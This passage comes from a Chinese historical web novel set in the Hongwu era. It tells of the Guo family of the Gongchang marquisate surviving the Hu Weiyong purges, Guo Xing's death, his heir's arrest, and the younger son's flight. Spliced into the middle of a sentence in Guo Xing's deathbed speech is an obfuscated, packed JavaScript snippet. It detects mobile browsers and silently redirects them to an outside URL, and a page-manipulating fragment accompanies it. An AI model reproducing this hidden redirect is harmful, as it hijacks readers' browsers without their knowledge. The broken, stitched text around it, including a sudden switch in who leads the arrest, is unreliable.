郭景振在军中愈发刻苦,每次操练都身先士卒,很快赢得了将士的爱戴。可他骨子里的骄纵没改,遇到不同意见,依旧听不进去,还时常和副将争执。郭景扬私下劝过几次,都被他以“军令如山”驳回。郭景扬无奈,只能更加用心地打理府中事务,让他无后顾之忧。 郭兴躺在病榻上,听说了兄弟二人的情况,欣慰又担忧。欣慰的是景振有了继承人的样子,景扬依旧可靠;担忧的是景振的性子,恐难在朝堂斗争中保全自己。 这一日,郭兴精神稍好,让人把兄弟俩叫到床前。“景振,你在军中的表现,我听说了。”他声音微弱,却很清晰,“将士爱戴是好事,但不可刚愎自用。朝堂比军中复杂百倍,听不进忠言,迟早会栽跟头。” 郭景振躬身道:“儿子记住了。” “景扬,”郭兴转向次子,“府里的事你做得好,但也别太隐忍。该出手时就出手,这才是‘勇’字的真谛。” 郭景扬点点头:“儿子明白。” 郭兴看着两个儿子,眼中满是不舍:“郭家的荣耀,靠的是‘忠勇’二字。如今乱世将至,景振,你护好爵位;景扬,你护好族人。只有这样,郭家才能屹立不倒。” “儿子定不辱使命。”兄弟俩同时道。 郭兴满意地闭上眼睛,他能做的,都做了。剩下的,只能靠他们自己了。 几日后,郭兴的病情稍有好转,能勉强起身坐在窗边。他看着窗外庭院里的石榴树,火红的花瓣落了一地,心里忽然涌起一股对过往的怀念。他让人取来笔墨纸砚,想再画一幅鄱阳湖之战图,可刚拿起笔,手就抖得厉害,墨汁滴在宣纸上,晕开一片墨痕。 他无奈地放下笔,长叹一声。身体的衰败,让他连自己最擅长的事都做不了了。可他心里清楚,自己不能倒下,郭家还需要他,两个儿子还需要他。他必须撑下去,撑到朝堂形势明朗,撑到两个儿子真正能独当一面。 郭景扬端着药走进来,看到父亲对着宣纸叹气,轻声道:“父亲,您身体还没好,别太劳累了。” 郭兴点点头,接过药碗,一饮而尽。药味苦涩,却让他的精神清醒了些。“景扬,”他看着次子,“近日府中有没有什么异常?” “一切都好。”郭景扬答道,“只是京中传来些风声,说胡惟庸案又牵连了几位官员,都是淮西出身。” 郭兴的脸色沉了下来:“我知道了。你多派人留意京中的消息,一有动静,立刻告诉我。还有,让景振在军中收敛些,别惹出什么事端。” “儿子明白。”郭景扬躬身道。 郭兴闭上眼睛,靠在枕头上。他知道,一场更大的风暴,正在悄然酝酿。而他亲手劈裂的那半块玉佩,将成为郭家在这场风暴中,唯一的希望与寄托。 窗外的风,轻轻吹过,带着石榴花的香气,却吹不散郭兴心中的忧虑。他知道,自己必须做好最坏的打算,为郭家,为两个儿子,铺好一条能走下去的路。 3. 第一卷 淮西裂璧 第3章 胡党疑云 洪武十三年春,应天府的风裹挟着江南三月特有的湿暖,却吹不散笼罩在京城上空的阴云。巩昌侯府的朱红大门前,往日车水马龙的景象早已不见,唯有两名身着劲装的护卫肃立门侧,眼神警惕地扫视着过往行人。府内的庭院里,几株新栽的海棠开得正盛,粉嫩的花瓣落在青石板上,平添了几分与这凝重氛围格格不入的寂寥。 郭兴身着一袭藏青色常服,端坐于正厅的紫檀木案前,手中捧着一卷《孙子兵法》,目光却并未落在书页上,而是透过窗棂,望向庭院深处那株枝繁叶茂的古槐,眉头紧锁。案几上的茶盏早已凉透,氤氲的水汽消散无踪,正如他心中对朝堂局势的最后一丝乐观。 “父亲,吏部侍郎李庸大人又来了,说有要事求见。”长子郭景振快步走进正厅,声音沉稳。他身着世袭的明威将军服饰,面容英挺,眉宇间带着与郭兴如出一辙的刚毅,作为巩昌侯府的继承人,他自小便被寄予厚望,言行举止间早已褪去了少年人的浮躁。 郭兴放下书卷,沉声道:“让他进来。”语气平淡,却难掩眼底的一丝凝重。自上月胡惟庸案发以来,这样的“要事求见”便愈发频繁,每一次都像重锤般敲在他的心上。 片刻后,吏部侍郎李庸走进正厅,躬身行礼:“下官参见巩昌侯。”他神色慌张,眼神躲闪,往日里的沉稳干练早已消失不见,取而代之的是难以掩饰的焦虑。 “李大人不必多礼,坐吧。”郭兴指了指一旁的梨花木椅,“不知今日前来,又有何消息?” 李庸坐下后,先是环顾四周,见厅内只有郭兴与郭景振,才压低声音,语气急促道:“侯爷,胡惟庸一案,怕是要闹到天翻地覆了!昨日陛下下旨,将胡惟庸的亲信党羽尽数抓捕,今日一早,吉安侯陆仲亨、延安侯唐胜宗都已被锦衣卫带走,据说……韩国公李善长也被陛下召入宫中,至今未归。” “李善长?”郭兴心中一震。李善长是开国第一功臣,位列韩国公,与自己同为淮西勋贵,更是太祖皇帝的肱骨之臣。如今连他都被牵连,可见此案的严重性早已超出了“清算丞相党羽”的范畴。 “正是。”李庸点点头,声音带着一丝颤抖,“陛下此次是铁了心要清理功臣,胡惟庸不过是个由头。下官听闻,锦衣卫已暗中调查了不少淮西勋贵,侯爷您……也在核查名单之中。” 站在郭兴身侧的次子郭景扬闻言,脸色骤变。他虽不如兄长郭景振那般被寄予厚望,却心思缜密,早便察觉到朝堂局势的凶险。此刻听闻父亲被锦衣卫列入核查名单,心中顿时升起一股强烈的不安:“李大人,这不可能!我父亲忠心耿耿,跟随太祖皇帝南征北战,出生入死,从未与胡惟庸有过任何私下往来,何来党羽之说?” “景扬贤侄,下官自然知晓郭侯爷的为人。”李庸叹了口气,“但如今陛下猜忌心极重,凡是与胡惟庸有过公务交集的,无论深浅,都被锦衣卫盯上了。下官今日前来,并非散播谣言,而是特意提醒侯爷,近期务必谨慎行事,切勿授人以柄,更不可与任何被牵连的官员有丝毫往来。” 郭兴沉默片刻,指尖轻轻敲击着案几,发出沉闷的声响。他深知朱元璋的性格,猜忌心极重,手段狠辣。当年为了巩固皇权,他可以毫不犹豫地铲除异己,如今面对功高震主的淮西勋贵集团,自然不会心慈手软。胡惟庸案牵连的人数已达数千人,且还在不断增加,谁也不知道下一个会是谁。 “多谢李大人提醒。”郭兴缓缓开口,语气平静却带着不容置疑的坚定,“老夫一生戎马,追随太祖皇帝平定天下,忠心可昭日月。所作所为,皆有朝堂档案可查,想必陛下自有明断。” 送走李庸后,郭景振不以为然地说道:“父亲,李大人未免太过杞人忧天了。我们郭家世代忠良,功绩卓著,太祖皇帝怎会轻信谗言,怀疑我们?” 郭景扬却忧心忡忡地反驳:“兄长,话不能这么说。吉安侯、延安侯哪个不是功勋卓著?如今不也照样被牵连?太祖皇帝心思难测,我们不得不防。” “二弟此言差矣。”郭景振摇摇头,“吉安侯、延安侯与胡惟庸素有往来,私下交情甚笃,被牵连也在情理之中。我们父亲与胡惟庸素无深交,所有公务都是在朝堂之上公开处理,并无任何不妥之处,何惧调查?” 郭兴看着争执的两个儿子,心中既有对长子沉稳的欣慰,也有对次子谨慎的认可。他抬手打断两人的争执:“景振,你虽沉稳,却过于自信;景扬,你虽谨慎,却略显忧虑。如今局势微妙,我们既不可自乱阵脚,也不可掉以轻心。” 他顿了顿,继续道:“从今日起,府中闭门谢客,所有不必要的社交活动一律暂停。景振,你负责整理府中所有书信、档案,但凡涉及敏感内容的,一律焚毁,不可留下任何把柄。景扬,你负责约束府中下人,严禁他们在外散播流言,更不可与其他官员府邸的下人随意往来。” “是,父亲。”郭景振与郭景扬齐声应道。 接下来的几日,巩昌侯府上下一片忙碌。郭景振按照父亲的吩咐,将府中历年的书信、档案逐一整理,凡是与胡惟庸及被牵连官员相关的,无论公私,尽数焚毁。郭景扬则每日巡查府中,约束下人言行,严禁任何人随意出入府邸。 然而,树欲静而风不止。随着胡惟庸案的深入调查,越来越多的功臣被牵连,连李善长也被定了“知情不报”之罪,打入大牢。洪武十三年夏,朱元璋下旨,将胡惟庸凌迟处死,诛灭三族。随后,又以“胡党”罪名,处死了李善长等一大批功臣,牵连人数多达万余人。京城内外,血流成河,哭声震天,往日繁华的应天府,如今却成了人人自危的人间炼狱。 巩昌侯府的气氛也愈发压抑。郭兴每日坐立难安,常常在深夜独自徘徊在庭院中,望着满天繁星,心中充满了忧虑。他知道,朱元璋的清理并未结束,淮西勋贵的危机,才刚刚开始。 这一日,锦衣卫指挥使毛骧突然带人来到巩昌侯府,说是奉陛下之命,前来调查郭兴与胡惟庸的关系。郭兴心中一凛,深知这一天终究还是来了。他强作镇定,将毛骧迎进正厅。 毛骧身着锦衣卫制服,面容冷峻,目光如鹰隼般扫视着厅内的一切,带着与生俱来的威慑力:“巩昌侯,陛下听闻你与胡惟庸曾有过公务往来,特命下官前来核实。” “毛大人,老夫与胡惟庸虽同为朝廷官员,却素无深交。”郭兴沉声道,“当年胡惟庸担任丞相期间,老夫所任官职与他并无直接隶属关系,所有公务都是按照朝廷规制公开处理,有吏部、兵部的档案可查,绝无任何私下往来。” “是吗?”毛骧冷笑一声,“下官自然会核实。不过,在核实之前,还请巩昌侯配合下官的调查,不得有任何隐瞒。” 接下来的三日,锦衣卫在巩昌侯府进行了全面的搜查,翻遍了府中的每一个角落,翻阅了所有未焚毁的书信、档案,询问了府中的下人、亲信。郭兴与郭景振、郭景扬始终保持着镇定,一一配合调查,没有露出任何破绽。 郭景扬心中焦虑万分,却只能强压下情绪,每日为父亲端茶送水,暗中观察锦衣卫的动向,生怕他们找到任何牵强附会的“证据”。而郭景振则显得从容不迫,他坚信父亲清白,对锦衣卫的调查并不十分在意。 经过三日的仔细核查,毛骧并未找到任何郭兴参与“胡党”的实质性证据。他看着郭兴,语气冰冷地说道:“巩昌侯,此次调查虽未发现异常,但陛下对你的猜忌并未消除。日后还请侯爷好自为之,谨言慎行,切勿做出任何让陛下不满之事。” 郭兴躬身道:“多谢毛大人提醒,老夫谨记在心。” 送走毛骧与锦衣卫众人后,郭兴长长地舒了一口气,后背早已被冷汗浸湿。这次调查,虽有惊无险,但也让他深刻体会到了伴君如伴虎的凶险。他知道,朱元璋对他的猜忌如同悬在头顶的利剑,随时可能落下。 锦衣卫的调查虽已结束,但巩昌侯府的压抑气氛并未消散。郭兴深知,此次能够平安过关,一方面是因为自己确实与胡惟庸无涉,另一方面或许是太祖皇帝念及往日战功,暂时没有对他下手。但这并不意味着危险已经解除,淮西勋贵集团的命运,早已在朱元璋的掌控之中。 接下来的几年,郭兴始终保持着低调谨慎的行事风格。他不再参与任何朝堂党争,每日只在家中读书、练字,教导子孙习文练武,偶尔入宫面圣,也只是谨言慎行,从不妄议朝政。府中的宴席应酬一概取消,昔日门庭若市的巩昌侯府,如今变得门可罗雀。 郭景振作为巩昌侯府的继承人,依旧保持着沉稳自信的性格。他认为父亲此次平安度过危机,足以证明太祖皇帝对郭家的信任,因此对父亲的过度谨慎并不完全认同。每日除了处理府中事务,便是专心练习武艺、研读兵法,为日后承袭爵位、为国效力做准备。 而郭景扬则截然不同。锦衣卫调查时的紧张氛围、京城中血流成河的惨状,都在他心中留下了深深的烙印。他愈发觉得父亲的谨慎是明智之举,常常劝说兄长:“兄长,太祖皇帝心思难测,淮西勋贵被牵连者众多,我们不能掉以轻心。如今父亲低调行事,正是为了保全家族,我们应当听从父亲的教诲,切勿过于张扬。” 郭景振却不以为然地笑道:“二弟,你太过忧虑了。我们郭家世代忠良,功绩卓著,太祖皇帝怎会无缘无故对我们下手?父亲的谨慎固然没错,但也不必如此草木皆兵。身为勋贵后裔,我们当有担当,而非一味退缩。” 郭景扬见兄长不听劝说,心中愈发担忧,却也无可奈何。他只能更加谨慎地行事,暗中留意朝堂局势的变化,同时联络父亲的几位心腹旧部,为家族的未来做最坏的打算。 武定侯府的郭英与郭铭父子,也时常派人前来探望。郭英是郭兴的弟弟,同为开国功臣,如今担任前军都督府佥事,深受朱元璋信任。兄弟二人自跟随朱元璋起兵以来,便相互扶持,感情深厚。郭英深知兄长的处境,每次派人前来,都会带来京城的最新消息,并叮嘱郭兴务必小心行事。 洪武十七年秋,郭兴偶感风寒,本以为只是寻常小病,谁知竟缠绵病榻,日渐消瘦。郭景振与郭景扬四处求医问药,遍请京城名医,却始终不见好转。郭兴的身体每况愈下,精力也日渐衰竭,他知道,自己大限将至。 这一日,郭兴精神稍有好转,便让人将郭景振、郭景扬召到床前,又派人去请武定侯府的郭铭前来。郭铭是郭英的次子,与郭景振、郭景扬自幼相识,关系融洽,如今在锦衣卫任职,消息灵通。 郭铭接到消息后,立刻赶至巩昌侯府。见到病榻上奄奄一息的郭兴,心中满是悲痛:“伯父,您感觉怎么样?” 郭兴拉着郭铭的手,虚弱地说道:“铭儿,伯父怕是不行了。今日召你前来,是有要事托付。” 他顿了顿,喘了口气,继续道:“胡惟庸案虽暂告一段落,但老夫预感,日后朝堂局势恐会愈发凶险。淮西勋贵手握兵权,功高盖主,太祖皇帝绝不会容我们长久存在。老夫在世一日,尚可庇护家族,但若老夫不在了,你们年轻一辈,怕是难以应对。” 郭景振连忙道:“父亲,您吉人自有天相,定会好转的。我们兄弟二人定会坚守忠勇,守护好家族,绝不会让您失望。” 郭兴摇了摇头,眼中闪过一丝忧虑:“景振,你沉稳有余,却不够谨慎;景扬,你谨慎有余,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914073|192489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不够果敢。你们兄弟二人,日后需相互扶持,互补不足,方能应对危局。” 他看向郭铭,语气愈发郑重:“铭儿,你在锦衣卫任职,消息灵通,日后还请你多多照拂景振、景扬兄弟二人。若日后形势恶化,巩昌侯府遭遇不测,还请你出手相助。” 郭铭含泪点头:“伯父放心,您对我如同亲生父亲一般,景振兄、景扬弟与我情同手足,无论日后发生何事,我定当全力以赴,守护好巩昌侯府的族人。” 郭兴欣慰地点点头,又道:“铭儿,老夫还有一事相问。若真有一日,家族遭遇灭顶之灾,何处可容族人避难?” 郭铭沉吟片刻,道:“伯父,若真到了那一步,海州或许是个好去处。海州近山东,远离京城,是鲁荒王朱檀的辖地。鲁荒王的母亲郭宁妃是我们郭家的族人,与我们关系亲近,想来会对郭家后人多加照拂。而且海州地处海滨,相对偏僻,不易引起朝廷注意,是个隐匿避祸的好地方。” “海州……”郭兴喃喃念着这个名字,眼中闪过一丝光亮,“好,好地方。铭儿,此事便托付给你了。若日后形势真的恶化到不可收拾的地步,你便告知景扬,让他带着族人前往海州避难。景振身为爵位继承人,恐难以脱身,景扬心思缜密,沉稳谨慎,是带领族人避难的最佳人选。” 郭铭郑重道:“伯父放心,我定会牢记您的嘱托。不过,如今局势尚未到那般地步,这只是未雨绸缪之举,想必短期内不会用到。” 郭兴点点头,他知道,自己的担忧或许有些长远,但身为家族的掌舵人,必须为子孙后代的安危考虑周全。他看着郭景扬,道:“景扬,今日伯父将这个秘密告诉你,并非希望你立刻行动,而是让你心中有数。日后若真有变故,你要牢记海州之地,带领族人保全性命,延续郭家的血脉。” 郭景扬含泪躬身:“儿子谨记父亲教诲,若真有那一日,定不辜负父亲的嘱托,守护好族人。” 郭兴又看向郭景振,道:“景振,你是家族的继承人,日后要承袭巩昌侯的爵位。你需牢记‘忠勇’家训,谨言慎行,效忠朝廷,切勿因一时意气,给家族带来祸患。若真有不测,也要保全自身,不可轻言放弃。” “儿子明白。”郭景振躬身应道,眼中满是悲痛与坚定。 交代完这些后事,郭兴心中大石落地,精神也愈发萎靡。几日后,郭兴在巩昌侯府病逝,享年五十四岁。消息传来,朱元璋追赠郭兴为陕国公,谥“宣武”,并下令厚葬。 郭兴的葬礼办得十分隆重,朝中百官纷纷前来吊唁,武定侯郭英更是亲自为兄长扶灵,悲痛万分。然而,在这看似风光的葬礼背后,郭景振与郭景扬却感受到了前所未有的压力。他们知道,父亲的去世,让巩昌侯府失去了最大的庇护,未来的路,只能靠他们自己走。 葬礼结束后,郭景振按照朝廷规制,开始为父亲守孝。守孝期间,他一面处理府中事务,一面等待朝廷的袭爵旨意。郭景扬则按照父亲的遗愿,更加谨慎地行事,暗中联络父亲的旧部,了解海州的情况,同时密切关注朝堂局势的变化。 武定侯府的郭英与郭铭也时常前来探望,安慰兄弟二人,并告知他们朝堂的最新动态。郭铭私下对郭景扬说:“景扬弟,如今伯父虽已去世,但太祖皇帝对巩昌侯府仍有念旧之情,短期内应无大碍。你不必过于担忧,但也不可放松警惕,父亲与我会继续为你们留意朝堂动向,一旦有任何风吹草动,定会第一时间告知你。” 郭景扬谢道:“多谢郭铭兄。父亲的嘱托,我始终铭记在心,海州之地,我也会暗中筹备,未雨绸缪。” 洪武二十二年,郭景振守孝期满。朝廷下旨,正式册封郭景振为巩昌侯,承袭父亲的爵位与俸禄。消息传来,巩昌侯府上下一片欢腾,郭景振更是意气风发,他认为自己承袭爵位,是朝廷对郭家忠勇的认可,之前的担忧都是多余的。 郭景扬却并未因此放松警惕。他看着兄长意气风发的模样,心中愈发忧虑,再次劝说:“兄长,如今你虽承袭爵位,但朝堂局势依旧微妙。太祖皇帝对淮西勋贵的猜忌并未消除,胡惟庸案的余波仍在,我们依旧要保持谨慎,不可过于张扬。” 郭景振却笑道:“二弟,你真是太过杞人忧天了。如今我已承袭爵位,朝廷对郭家的信任不言而喻。父亲在世时过于谨慎,如今我们应当重振巩昌侯府的荣光,而非一味退缩。” 郭景扬见兄长始终不以为然,心中满是无奈。他知道,兄长的性格注定了他难以像父亲那般低调隐忍。而他自己,只能更加谨慎地做好准备,暗中联络旧部,了解海州的风土人情与地理环境,为父亲口中的“万一”,做好万全的打算。 此时的京城,表面上看似平静,实则暗流涌动。朱元璋并未因为胡惟庸案的落幕而停止对功臣的清理,反而在暗中积蓄力量,准备对淮西勋贵集团展开第二次大规模清洗。巩昌侯府的命运,如同风中残烛,随时可能被这场即将到来的风暴吞噬。 郭景扬站在巩昌侯府的庭院中,望着父亲亲手栽种的那株古槐,心中满是沉重。他知道,父亲的担忧并非空穴来风,郭铭提及的海州避难之地,或许在不久的将来,便会成为家族唯一的生路。而他,必须在那一天到来之前,做好一切准备,带领族人逃离这场即将到来的灭顶之灾。 洪武十三年的胡党疑云,如同一场漫长的序曲,预示着淮西勋贵集团即将面临的悲惨命运。郭兴的病逝、郭景振的袭爵、郭景扬的谨慎筹备,都在为这场即将到来的风暴,埋下深深的伏笔。而海州之地,这个此刻仅存在于口头上的避难所,终将在未来的某一天,成为巩昌侯府族人延续血脉的希望之地。 4. 第一卷 淮西裂璧 第4章 家族罹难 洪武二十二年冬,应天府的寒风裹挟着雪粒,呼啸着掠过巩昌侯府的朱红宫墙。府内张灯结彩,红灯笼上的“喜”字在风雪中微微摇曳,空气中弥漫着淡淡的酒香与烛火的暖意——今日是郭景振正式承袭巩昌侯爵位的日子,朝廷的册封圣旨已于三日前送达,此刻府中正举行着一场低调却隆重的家宴,宴请的皆是至亲与父亲郭兴的几位心腹旧部。 郭景振身着簇新的侯爵常服,金冠玉带,面容英挺,眉宇间满是意气风发。他端着酒杯,向在座的亲友一一敬酒,声音洪亮:“今日承蒙陛下恩典,承袭父亲爵位,景振定当恪守忠勇家训,报效朝廷,不负父亲在天之灵,不负诸位亲友的厚望!” “恭喜侯爷!贺喜侯爷!”众人纷纷起身回敬,脸上满是喜悦。 郭景扬坐在角落,看着兄长意气风发的模样,心中却满是忧虑。他身着一袭素色长衫,与府中的喜庆氛围格格不入,手中的酒杯早已凉透,却一口未饮。自兄长承袭爵位以来,他心中的不安便日益加剧,总觉得这场荣耀背后,潜藏着难以预料的危机。 家宴过半,郭景扬借故起身,走到郭景振身边,低声道:“兄长,可否借一步说话?” 郭景振正与几位父亲的旧部谈笑风生,闻言愣了一下,随即点头道:“好。” 两人来到府中僻静的回廊,风雪吹在脸上,冰冷刺骨。郭景扬望着兄长,语气凝重:“兄长,如今你虽承袭爵位,却也身处风口浪尖。太祖皇帝对淮西勋贵的猜忌从未消除,胡惟庸案的余波仍在,你应当主动向陛下请辞,交出手中兵权,低调行事,方能保全家族。” “二弟,你又说这些话!”郭景振眉头一皱,语气中带着一丝不耐,“父亲一生征战,为大明立下赫赫战功,才挣下这巩昌侯的爵位与兵权。如今我承袭爵位,自然要继承父亲的遗志,为国效力,怎能轻易交出兵权?再说,陛下既然册封我为巩昌侯,便是对郭家的信任,你不必如此杞人忧天。” “兄长,你错了!”郭景扬急切地说道,“陛下的信任是最靠不住的!吉安侯、延安侯、韩国公,哪个不是功勋卓著,深得陛下信任?可最终呢?皆因胡惟庸案牵连,或死或贬。父亲在世时,尚且要低调谨慎,如今你刚承袭爵位,便如此张扬,怎能不让陛下猜忌?” “那是他们自身不谨,与胡惟庸有所勾结,才招致祸患。”郭景振不以为然地说道,“我们郭家与胡惟庸素无深交,清白坦荡,陛下怎会无端猜忌?二弟,你就是太过谨慎,反而失了勋贵后裔的担当。” “兄长,你怎么就不明白!”郭景扬心中焦急万分,却又不知该如何劝说,“如今朝中局势微妙,淮西勋贵一个个被清算,我们郭家能平安至今,已是万幸。若你执意手握兵权,高调行事,迟早会引来杀身之祸,连累整个家族!” 郭景振脸色一沉:“够了!二弟,此事休要再提!我心意已决,定会好好执掌兵权,报效朝廷,绝不会让家族蒙羞!”说罢,他转身拂袖而去,留下郭景扬一人站在风雪中,满心悲凉与无助。 郭景扬知道,兄长的性格太过刚直自信,根本听不进他的劝说。他望着漫天风雪,心中愈发不安,仿佛已经看到了家族即将面临的灭顶之灾。 接下来的日子,郭景振果然如他所言,积极参与朝政,执掌兵权,时常出入军营,操练兵马,府中的应酬也渐渐多了起来,昔日门可罗雀的巩昌侯府,再次变得热闹起来。 而郭景扬则愈发谨慎,他每日闭门不出,在家中研读史书,教导年幼的儿子郭玘,同时暗中联络父亲的旧部,收集京城的各类消息,为家族的未来做最坏的打算。他还按照父亲临终前的嘱托,派人暗中打探濠州老家的情况——那里是郭家的发源地,地处偏僻,民风淳朴,若真有变故,或许是个暂时避难的好去处。 武定侯府的郭铭也时常前来探望,每次都会带来一些朝堂的隐秘消息。他看着郭景振的所作所为,心中也是忧心忡忡,曾多次劝说:“景振兄,如今陛下对淮西勋贵的猜忌日深,你还是低调行事为好。手中的兵权虽是荣耀,却也是祸根,不如主动交出,换取家族的平安。” 但郭景振始终不以为然,每次都以“报效朝廷”为由拒绝。郭铭见状,也只能无奈叹息,私下对郭景扬说:“景扬弟,你兄长的性格太过执拗,恐怕难以劝服。你务必做好准备,一旦有任何风吹草动,立刻带着族人撤离,切勿犹豫不决。” 郭景扬点点头,眼中满是沉重:“郭铭兄放心,我早已暗中筹备,只是希望那一天永远不要到来。” 然而,该来的终究还是来了。洪武二十三年春,沉寂多年的胡惟庸案余波再起。朱元璋以“深究胡惟庸余孽,清除朝廷隐患”为由,再次对淮西勋贵展开大规模清洗。此次清洗比洪武十三年更为惨烈,凡是与胡惟庸有过丝毫牵连,或是手握兵权、功高盖主的勋贵,皆被列入清算名单,或杀或削爵,牵连人数多达数万,京城内外再次陷入血雨腥风之中。 巩昌侯府自然也未能幸免。洪武二十三年三月的一天,锦衣卫指挥使毛骧再次带领大批锦衣卫,包围了巩昌侯府。这一次,他们不再是简单的调查,而是带着“捉拿胡党余孽”的圣旨,气势汹汹,如临大敌。 “奉旨捉拿胡党余孽郭景振,闲杂人等一律不许乱动!”毛骧手持圣旨,声音冰冷,回荡在巩昌侯府的庭院中。 郭景振正在府中与几位将领商议军务,听闻消息,脸色骤变。他冲出厅堂,看着庭院中荷枪实弹的锦衣卫,怒声道:“毛骧!你休要污蔑!我郭家忠心耿耿,与胡惟庸案毫无牵连,陛下为何要捉拿我?” “郭景振,休要狡辩!”毛骧冷笑一声,“陛下已有明察,你父亲郭兴虽死,却与胡惟庸暗中勾结,意图谋反。你承袭爵位后,不思悔改,反而手握兵权,意图为父翻案,罪证确凿!今日便是你的死期!” “什么?”郭景振大惊失色,“主上明察!先父与胡惟庸素无来往,光明磊落,从无谋逆之举!臣更是冤枉的!” “冤枉?”蒋瓛冷笑一声,“主上已有圣断,岂容你狡辩?来人,拿下郭景振,抄没家产,抓捕族人!” 锦衣卫一拥而上,将郭景振死死按住。郭景振挣扎着,怒吼着,却无济于事。他看着眼前的锦衣卫,看着被吓得瑟瑟发抖的族人,心中充满了悔恨与绝望。他后悔自己的固执与骄傲,后悔没有听从郭景扬的劝告。 此时,郭景扬早已带着妻儿与部分族人,从后门撤离。他的妻子抱着刚满三岁的儿子郭玘,神色惶恐。郭景扬回头望了一眼火光冲天的巩昌侯府,眼中含泪,却不敢停留。他知道,自己肩上的责任重大,必须带着族人,安全抵达海州。 夜色如墨,郭景扬带着妻儿与二十余名核心族人,沿着偏僻的小路,朝着城外的秘密庄园奔去。夜色中,只能听到急促的脚步声与粗重的呼吸声,每个人的脸上都写满了惶恐与不安。 郭景扬的妻子沈氏抱着熟睡的郭玘,脚步踉跄,却依旧咬牙坚持。她是书香门第出身,嫁给郭景扬后,一直过着安稳的生活,从未经历过这般颠沛流离。 “夫君,我们要去哪里?”沈氏的声音带着一丝颤抖。 “去城外的秘密庄园。”郭景扬沉声道,“那里有我们囤积的粮草与财物,还有前往海州的通关文书。等天亮后,我们便启程前往海州。” “海州?”沈氏不解,“我们为什么要去那里?兄长他……” “兄长被削爵流放,恐怕凶多吉少。”郭景扬的声音带着一丝哽咽,“巩昌侯府已被抄没,族人大多被抓,我们若不逃离,迟早会被牵连。海州是鲁荒王辖地,与郭家有亲,是我们唯一的生路。” 沈氏不再说话,只是紧紧抱着儿子,加快了脚步。她知道,此刻再多的言语都是徒劳,唯有跟着丈夫,才能保全性命。 一行人终于在黎明时分抵达了秘密庄园。庄园隐藏在深山之中,四周林木茂密,十分隐蔽。郭景扬命族人先安顿下来,清点物资,自己则走进了庄园的书房。 书房内,郭景扬从暗格中取出一个木盒,里面装着多年前郭铭送来的通关文书、盘缠与地图。他打开地图,目光落在海州的位置上。海州位于淮东海滨,靠近山东,路途遥远,且沿途关卡重重,想要安全抵达,并非易事。 “夫君,玘儿醒了。”沈氏抱着郭玘走进书房。 郭景扬放下地图,走到妻子身边,看着儿子懵懂的脸庞,心中涌起一股暖流。郭玘是郭家的希望,他必须保护好儿子,让郭家的香火得以延续。 他从怀中取出那半块刻“勇”字的玉佩,轻轻摩挲着。玉佩温润依旧,断裂处的纹路却仿佛在诉说着家族的苦难。他知道,这块玉佩是郭家的信物,是家族存续的凭证。如今,他要将这块玉佩,托付给年幼的儿子。 “夫人,取针线来。”郭景扬道。 沈氏不解,但还是取来了针线。 郭景扬接过针线,小心翼翼地将那半块“勇”字玉佩缝入郭玘的襁褓内侧。玉佩不大,缝入襁褓后,几乎看不出痕迹。 “夫君,你这是为何?”沈氏问道。 “这半块玉佩,是郭家的传家宝,是家族的凭证。”郭景扬缓缓道,“如今,我将它交给玘儿。日后,若我们遭遇不测,玘儿便是郭家唯一的希望。凭着这块玉佩,他可以前往海州投奔鲁荒王,也可以联系郭铭兄的后人,重振郭家。” 沈氏眼中含泪,点点头:“夫君放心,我定会保护好玘儿,保护好这块玉佩。” 郭景扬看着妻子,心中充满了感激。他知道,自己能有这样一位深明大义、不离不弃的妻子,是莫大的幸运。 “还有一事。”郭景扬沉吟片刻,继续道,“从今往后,我不再是郭景扬。” “夫君此言何意?”沈氏不解。 “巩昌侯府已倒,郭景扬这个名字,只会引来杀身之祸。”郭景扬沉声道,“我要改名换姓,隐姓埋名,前往海州。” 他顿了顿,目光坚定:“我决定,隐去‘景’字,改名‘郭斌’。‘斌’字,文武双全,既纪念我郭家世代习武的功德,也寓意着隐武于文,低调行事,不再卷入朝堂纷争。” “郭斌……”沈氏默念着这个名字,点了点头,“好,从今往后,你便是郭斌。我们一家人,隐姓埋名,好好生活。” 郭景扬,不,如今的郭斌,看着妻子与儿子,心中暗暗发誓:无论未来遇到何种困难,他都要带着家人与族人,安全抵达海州,延续郭家的香火。他要让儿子记住,自己是郭兴的后人,是“忠勇”二字的传承者。 就在这时,一名族人急匆匆地跑进书房:“二公子……不,郭斌先生,庄园外发现了锦衣卫的踪迹!” 郭斌脸色骤变:“什么?锦衣卫怎么会找到这里?” “不清楚。”族人摇摇头,“他们似乎是在沿途追踪我们的踪迹,已经快到庄园门口了!” 郭斌心中一紧。他知道,秘密庄园虽然隐蔽,但锦衣卫耳目众多,被发现也是迟早的事。他必须立刻带着族人撤离。 “立刻通知所有人,收拾行李,准备出发!”郭斌沉声道,“我们不能前往海州了,锦衣卫肯定会在沿途设卡拦截。我们先前往老家濠州乡下躲避,那里是我们郭家的祖居地,民风淳朴,不易被发现。等风头过后,再做打算。” 族人纷纷应道,立刻开始收拾行李。 郭斌抱着郭玘,与沈氏一同走出书房。他看着眼前的族人,心中充满了责任感。这些人都是郭家的核心力量,是家族延续的希望。他必须保护好他们。 “大家听着!”郭斌大声道,“前路凶险,可能会遇到锦衣卫的拦截与盘查。但我们是郭兴的后人,是‘忠勇’二字的传承者。无论遇到什么困难,都不能退缩,不能放弃。只要我们团结一心,就一定能度过难关!” “团结一心,度过难关!”族人们齐声喊道 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郭斌心中一沉。他没想到,锦衣卫竟然追得这么快,还在这险要之地设下了埋伏。 “夫君,怎么办?”沈氏抱着郭玘,脸色惨白。 “大家不要慌!”郭斌沉声道,“我们人多势众,他们未必能奈何得了我们。青壮年族人跟我一起,守住山谷出口,掩护老弱妇孺撤退!” 族中的青壮年族人纷纷拿起随身携带的武器,与郭斌一同守住山谷出口。他们虽然不是锦衣卫的对手,但为了保护家人,保护家族的希望,都拼尽了全力。 “杀!”郭斌怒吼一声,拔出腰间的佩剑,冲向锦衣卫。 